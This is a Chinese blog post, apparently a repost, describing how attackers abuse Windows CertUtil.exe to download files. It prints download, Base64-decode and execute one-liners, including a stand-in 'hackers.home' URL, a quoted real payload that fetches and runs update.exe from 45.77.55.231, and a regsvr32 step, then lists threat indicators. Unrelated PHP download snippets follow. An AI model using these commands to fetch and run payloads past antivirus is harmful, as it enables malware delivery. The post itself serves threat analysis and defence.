使用CertUtil.exe下载远程文件

使用CertUtil.exe下载远程文件

证书 https://www.cnblogs.com/17bdw/p/8728656.html

1、前言

经过国外文章信息,CertUtil.exe下载恶意软件的样本。

2、实现原理

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

使用语法 :


"certutil.exe -urlcache -split -f [URL] output.file"

Casey Smith(https://twitter.com/subTee) 在2017年就已经公布的相关利用方法。


certutil -urlcache -split -f [serverURL] file.blah

regsvr32.exe /s /u /I:file.blah scrub.dll

3、实际例子

目前在威胁情报平台里已经可以搜索到利用这种手法的相关病毒样本,样本中利用的方法:

4、混淆方式

  • 使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。


C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt

C:\Temp>certutil.exe -decode bad.txt bad.exe

在F5 Labs上有一篇利用漏洞的文章中提到了利用certutil下载文件的方式攻击Web服务器。Payload部分内容如下:

一旦文件下载并使用certutil进行 base64解码,它将被保存为update.exe并执行。

certutil -urlcache -split -f http://45.77.55.231/update.b64 update.b64&certutil -decode update.b64 update.exe&update.exe

5、样本HASH与分析结果

  • 分析平台分析结果:

https://www.hybrid-analysis.com/sample/87cf118bff58c38bc0d54c1d3fcc553e381df838437a99a2006dd8f726406c16?environmentId=100

https://www.virustotal.com/en/file/1a3cd50fcc7a454025a641ffcc941353b4a7998c36066b399c72cb8cbff61071/analysis/1522278762/

https://www.hybrid-analysis.com/sample/4faf0c88f41121038709e9a9d134736dfadf6e1f1f4fdb6812fc69818a9e8572?environmentId=100

https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c?environmentId=100
  • IOC(Indicators of Compromise)
    • IP:
45[.]77[.]55[.]231
181[.]214[.]87[.]240
181[.]214[.]87[.]241
148[.]251[.]133[.]246
    • 文件名与HASH值:
update.b64: 66107b01bc93c8d4cf2e8a6a8faffb56
update.exe: 5bb5d3cb837d97174eddc681ca98aa80
msi64.zip: 8d8b8abe93aea52f9865f045a49912ae
SearchIndexer.exe: 1dd8ea5dd6975eb3d0dd14d71d1a404d
mssearch.exe: 47d3a5023d0cbe76a030bfac7bcfe2f2

6、参考

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
https://f5.com/labs/articles/threat-intelligence/malware/old-dog-new-targets-switching-to-windows-to-mine-electroneum
https://www.bleepingcomputer.com/news/security/regsvr32-can-be-used-to-install-ransomware-through-jscript-installers/

=========================== End

原文地址:https://www.cnblogs.com/lsgxeva/p/11711425.html

时间: 2024-08-25 00:19:08

使用CertUtil.exe下载远程文件的相关文章

PHP下载远程文件及获取文件内容

/**      * 获取远程文件的内容      * @parma $url  URL      * @return 获得内容      * **/     public static function getContent($url){ $flag = 0; do { $hCurl = curl_init(); curl_setopt($hCurl, CURLOPT_HEADER, 0); curl_setopt($hCurl, CURLOPT_RETURNTRANSFER, 1); cur

PHP下载远程文件的3种方法以及性能考虑

今天在做导出Excel的时候,总是要测试导出的Excel文件,频繁的下载和打开,很麻烦 就想着写段代码一气呵成  服务端导出Excel==>下载Excel文件到本地==>并打开的操作. 这里摘出PHP下载远端文件的方案,以备忘.其中第3种方法考虑到文件过大时的性能问题. 3种方案: -rw-rw-r-- 1 liuyuan liuyuan 470 Feb 20 18:12 test1_fopen.php-rw-rw-r-- 1 liuyuan liuyuan 541 Feb 20 18:06

下载远程文件

1 public static bool DownRemoteFile(string url, string filepath) 2 { 3 ServicePointManager.DefaultConnectionLimit = 200; 4 try 5 { 6 //对远程文件发送一个请求 7 HttpWebRequest webReq = HttpWebRequest.CreateHttp(url); 8 webReq.ServicePoint.Expect100Continue = fal

第一个shell脚本 结合计划任务下载远程文件

思路: 进入/usr/local/apache2/htdocs/ipa/  循环读取 /root/shell/wget/down.txt  每次一行,每一行直接就是一条命令,直接 $line 就可以执行,如果执行成功把脚本按日期保存下来,错误也保存到错误日志中按日期,都执行完成后,把当前时间插入到txt中,既可以查看程序执行完成的时间,又可以避免重复执行,最后把执行成功的行数追加到 日志文件中. 脚本如下 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1

BAT使用FTP下载远程文件

@echo off rem 指定ftp用户名 set FTPUSER=ftpuser rem 指定ftp密码 set FTPPASSWD=ftpuser rem 指定ftp服务器地址 set FTPIP=192.168.13.33 rem 指定待下载文件ftp目录 set FTPFOLDER=gitbackup rem 指定下载文件存放到目录 set LOCALFLOLDER=D:\backups\Gitlab set ftpFile=D:\tempFTP.txt >"%ftpFile%&

自动打包下载远程文件

#!/usr/bin/env puthon import pexpect import sys #定义目标主机 r_ip="IP_ADDRSS" r_user="USERNAME" r_passwd="PASSWORD" #定义目标主机nginx日志文件 target_file="/path/to/nginx_access.log" #运行ssh命令 child = pexpect.spawn('/usr/bin/ssh', 

MVC下载远程文件流(WebClient)

public ActionResult DownLoad_File() { return File(ScLiu(PathUrl), "application/octet-stream", "sb.pdf"); } public Stream ScLiu(string path) { using (System.IO.MemoryStream memStream = new System.IO.MemoryStream()) { WebClient webClient

php自定义函数: 下载远程文件 httpcopy

<?php function httpcopy($url, $file="", $timeout=60) { $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file; $dir = pathinfo($file,PATHINFO_DIRNAME); !is_dir($dir) && @mkdir($dir,0755,true); $url = str_replace(" "

[PHP学习教程]004.下载/采集远程文件到本地(Download File)

引言:如何把http://mzitu.com里的图片全部下载下来呢? 一身浩然正气的AC陷入的深思.... 当然这里涉及到的功能有线程,网页请求,页面提取,下载图片等等.今天,我们先讲一下如何下载文件.后面的教程请参看本博客的[PHP自动化-进阶]系列. 函数接口: array download_file ( [string url], [string fileName], [string dirName], [array fileType], [string type]) 方法声明: 下载任何